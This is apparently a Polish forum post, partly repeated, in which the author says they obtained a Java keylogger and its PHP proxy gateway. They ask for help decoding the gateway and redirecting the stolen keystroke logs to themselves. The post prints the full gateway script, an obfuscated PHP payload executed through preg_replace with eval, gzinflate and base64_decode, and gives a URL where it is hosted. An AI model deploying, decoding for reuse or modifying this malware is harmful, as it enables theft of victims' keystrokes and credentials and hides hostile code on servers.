Witam,
Ostatnio natrafiłem na dość ciekawą rzecz.
Jak pewnie większość z was wie, często keyloggery stają się szybciej wykrywalne ponieważ informację przez niego wysyłane, lecą na ten sam np. serwer FTP.
Dorwałem w internecie keyloggera napisanego w Javie, który wysyła logi do bramki proxy umieszczonej gdzieś na serwerze, a potem na inny serwer. (Takie przekierowanie)
I teraz tu się pojawia problem.
Mam Tego keyloggera, oraz tą bramkę proxy. Chciałbym przerobić ten skrypt tak żeby wysyłał te logi do mnie.
Ale nie rozumiem ani zbytnio javy, no i też z php jestem cienki.
Czy mógłby ktoś jakoś rozszyfrować ten skrypt, i przerobić go tak żeby wysyłał informację gdzie indziej ? (Lub chociaż wytłumaczyć mi jak to zrobić)
SKRYPT (BRAMKA PROXY):
Po wrzuceniu tej dziwnej kombinacji kodu na serwer, wchodząc w link pojawia się tylko "Proxy_ok".
http://mayomi.twomini.com/prx.php
Ostatnio natrafiłem na dość ciekawą rzecz.
Jak pewnie większość z was wie, często keyloggery stają się szybciej wykrywalne ponieważ informację przez niego wysyłane, lecą na ten sam np. serwer FTP.
Dorwałem w internecie keyloggera napisanego w Javie, który wysyła logi do bramki proxy umieszczonej gdzieś na serwerze, a potem na inny serwer. (Takie przekierowanie)
I teraz tu się pojawia problem.
Mam Tego keyloggera, oraz tą bramkę proxy. Chciałbym przerobić ten skrypt tak żeby wysyłał te logi do mnie.
Ale nie rozumiem ani zbytnio javy, no i też z php jestem cienki.
Czy mógłby ktoś jakoś rozszyfrować ten skrypt, i przerobić go tak żeby wysyłał informację gdzie indziej ? (Lub chociaż wytłumaczyć mi jak to zrobić)
SKRYPT (BRAMKA PROXY):
PHP:
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B","");
?>Po wrzuceniu tej dziwnej kombinacji kodu na serwer, wchodząc w link pojawia się tylko "Proxy_ok".
http://mayomi.twomini.com/prx.php